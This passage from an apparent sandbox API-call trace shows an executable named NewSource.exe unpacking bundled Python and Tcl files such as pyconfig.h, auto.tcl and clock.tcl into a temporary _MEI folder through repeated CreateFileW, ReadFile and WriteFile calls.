lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include\\pyconfig.h", lpFilePart=0x0) returned 0x3f [0035.941] GetLastError () returned 0x2 [0035.941] SetLastError (dwErrCode=0x2) [0035.941] GetLastError () returned 0x2 [0035.941] SetLastError (dwErrCode=0x2) [0035.941] GetLastError () returned 0x2 [0035.941] SetLastError (dwErrCode=0x2) [0035.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include\\pyconfig.h") returned 64 [0035.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include\\pyconfig.h" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\include\\pyconfig.h"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.942] GetFileType (hFile=0x10c) returned 0x1 [0035.942] htonl (hostlong=0xcd550000) returned 0x55cd [0035.942] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x5000, lpOverlapped=0x0) returned 1 [0035.943] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0035.943] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x5cd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x5cd, lpOverlapped=0x0) returned 1 [0035.943] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.943] CloseHandle (hObject=0x10c) returned 1 [0035.944] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0035.945] htonl (hostlong=0x30000000) returned 0x30 [0035.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.946] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.946] GetFileType (hFile=0x10c) returned 0x1 [0035.946] htonl (hostlong=0xd63b5000) returned 0x503bd6 [0035.946] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x54ebd6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.946] htonl (hostlong=0x6e190000) returned 0x196e [0035.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x196e) returned 0x55d270 [0035.946] htonl (hostlong=0x6e190000) returned 0x196e [0035.946] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0035.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0035.947] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.947] htonl (hostlong=0x8e500000) returned 0x508e [0035.947] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x508e) returned 0x561090 [0035.947] htonl (hostlong=0x6e190000) returned 0x196e [0035.947] htonl (hostlong=0x8e500000) returned 0x508e [0035.947] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x566128 [0035.947] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566128 | out: hHeap=0x530000) returned 1 [0035.947] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.947] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.947] CloseHandle (hObject=0x10c) returned 1 [0035.947] GetLastError () returned 0x0 [0035.947] SetLastError (dwErrCode=0x0) [0035.947] GetLastError () returned 0x0 [0035.947] SetLastError (dwErrCode=0x0) [0035.947] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0035.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.948] GetLastError () returned 0x2 [0035.948] SetLastError (dwErrCode=0x2) [0035.948] GetLastError () returned 0x2 [0035.948] SetLastError (dwErrCode=0x2) [0035.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl", lpFilePart=0x0) returned 0x30 [0035.948] GetLastError () returned 0x2 [0035.948] SetLastError (dwErrCode=0x2) [0035.948] GetLastError () returned 0x2 [0035.948] SetLastError (dwErrCode=0x2) [0035.948] GetLastError () returned 0x2 [0035.948] SetLastError (dwErrCode=0x2) [0035.948] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), lpSecurityAttributes=0x0) returned 1 [0035.948] GetLastError () returned 0x2 [0035.948] SetLastError (dwErrCode=0x2) [0035.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\auto.tcl") returned 58 [0035.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\auto.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\auto.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.948] GetLastError () returned 0x2 [0035.948] SetLastError (dwErrCode=0x2) [0035.948] GetLastError () returned 0x2 [0035.948] SetLastError (dwErrCode=0x2) [0035.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\auto.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\auto.tcl", lpFilePart=0x0) returned 0x39 [0035.948] GetLastError () returned 0x2 [0035.948] SetLastError (dwErrCode=0x2) [0035.948] GetLastError () returned 0x2 [0035.949] SetLastError (dwErrCode=0x2) [0035.949] GetLastError () returned 0x2 [0035.949] SetLastError (dwErrCode=0x2) [0035.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\auto.tcl") returned 58 [0035.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\auto.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\auto.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.949] GetFileType (hFile=0x10c) returned 0x1 [0035.949] htonl (hostlong=0x8e500000) returned 0x508e [0035.949] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x5000, lpOverlapped=0x0) returned 1 [0035.950] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0035.950] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8e, lpOverlapped=0x0) returned 1 [0035.950] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.950] CloseHandle (hObject=0x10c) returned 1 [0035.951] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0035.952] htonl (hostlong=0x20000000) returned 0x20 [0035.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.952] GetFileType (hFile=0x10c) returned 0x1 [0035.952] htonl (hostlong=0x44555000) returned 0x505544 [0035.952] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x550544, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.952] htonl (hostlong=0x9d760000) returned 0x769d [0035.952] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x769d) returned 0x560088 [0035.953] htonl (hostlong=0x9d760000) returned 0x769d [0035.953] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x7000, lpOverlapped=0x0) returned 1 [0035.953] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.954] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.954] htonl (hostlong=0xdafc0100) returned 0x1fcda [0035.954] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fcda) returned 0x567730 [0035.954] htonl (hostlong=0x9d760000) returned 0x769d [0035.954] htonl (hostlong=0xdafc0100) returned 0x1fcda [0035.954] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x587418 [0035.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x587418 | out: hHeap=0x530000) returned 1 [0035.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.957] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.957] CloseHandle (hObject=0x10c) returned 1 [0035.957] GetLastError () returned 0x0 [0035.957] SetLastError (dwErrCode=0x0) [0035.957] GetLastError () returned 0x0 [0035.957] SetLastError (dwErrCode=0x0) [0035.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0035.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.957] GetFileType (hFile=0x10c) returned 0x1 [0035.957] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.958] CloseHandle (hObject=0x10c) returned 1 [0035.958] GetLastError () returned 0x0 [0035.958] SetLastError (dwErrCode=0x0) [0035.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\clock.tcl") returned 59 [0035.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\clock.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\clock.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.958] GetLastError () returned 0x2 [0035.958] SetLastError (dwErrCode=0x2) [0035.958] GetLastError () returned 0x2 [0035.958] SetLastError (dwErrCode=0x2) [0035.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\clock.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\clock.tcl", lpFilePart=0x0) returned 0x3a [0035.958] GetLastError () returned 0x2 [0035.958] SetLastError (dwErrCode=0x2) [0035.958] GetLastError () returned 0x2 [0035.958] SetLastError (dwErrCode=0x2) [0035.958] GetLastError () returned 0x2 [0035.958] SetLastError (dwErrCode=0x2) [0035.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\clock.tcl") returned 59 [0035.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\clock.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\clock.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.958] GetFileType (hFile=0x10c) returned 0x1 [0035.958] htonl (hostlong=0xdafc0100) returned 0x1fcda [0035.958] WriteFile (in: hFile=0x10c, lpBuffer=0x567730*, nNumberOfBytesToWrite=0x1f000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x567730*, lpNumberOfBytesWritten=0x4fcd00*=0x1f000, lpOverlapped=0x0) returned 1 [0035.963] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.963] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xcda, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xcda, lpOverlapped=0x0) returned 1 [0035.963] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.964] CloseHandle (hObject=0x10c) returned 1 [0035.966] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567730 | out: hHeap=0x530000) returned 1 [0035.967] htonl (hostlong=0x20000000) returned 0x20 [0035.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.967] GetFileType (hFile=0x10c) returned 0x1 [0035.967] htonl (hostlong=0xe1cb5000) returned 0x50cbe1 [0035.967] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x557be1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.967] htonl (hostlong=0x2b010000) returned 0x12b [0035.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x12b) returned 0x550600 [0035.967] htonl (hostlong=0x2b010000) returned 0x12b [0035.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.967] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.967] htonl (hostlong=0x42040000) returned 0x442 [0035.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x550738 [0035.967] htonl (hostlong=0x2b010000) returned 0x12b [0035.967] htonl (hostlong=0x42040000) returned 0x442 [0035.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0035.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0035.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.968] CloseHandle (hObject=0x10c) returned 1 [0035.968] GetLastError () returned 0x0 [0035.969] SetLastError (dwErrCode=0x0) [0035.969] GetLastError () returned 0x0 [0035.969] SetLastError (dwErrCode=0x0) [0035.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0035.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.969] GetFileType (hFile=0x10c) returned 0x1 [0035.969] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.969] CloseHandle (hObject=0x10c) returned 1 [0035.969] GetLastError () returned 0x0 [0035.969] SetLastError (dwErrCode=0x0) [0035.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0035.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.969] GetLastError () returned 0x2 [0035.969] SetLastError (dwErrCode=0x2) [0035.969] GetLastError () returned 0x2 [0035.969] SetLastError (dwErrCode=0x2) [0035.969] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding", lpFilePart=0x0) returned 0x39 [0035.970] GetLastError () returned 0x2 [0035.970] SetLastError (dwErrCode=0x2) [0035.970] GetLastError () returned 0x2 [0035.970] SetLastError (dwErrCode=0x2) [0035.970] GetLastError () returned 0x2 [0035.970] SetLastError (dwErrCode=0x2) [0035.970] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), lpSecurityAttributes=0x0) returned 1 [0035.970] GetLastError () returned 0x2 [0035.970] SetLastError (dwErrCode=0x2) [0035.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ascii.enc") returned 68 [0035.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ascii.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\ascii.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.971] GetLastError () returned 0x2 [0035.971] SetLastError (dwErrCode=0x2) [0035.971] GetLastError () returned 0x2 [0035.971] SetLastError (dwErrCode=0x2) [0035.971] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ascii.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ascii.enc", lpFilePart=0x0) returned 0x43 [0035.971] GetLastError () returned 0x2 [0035.971] SetLastError (dwErrCode=0x2) [0035.971] GetLastError () returned 0x2 [0035.971] SetLastError (dwErrCode=0x2) [0035.971] GetLastError () returned 0x2 [0035.971] SetLastError (dwErrCode=0x2) [0035.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: 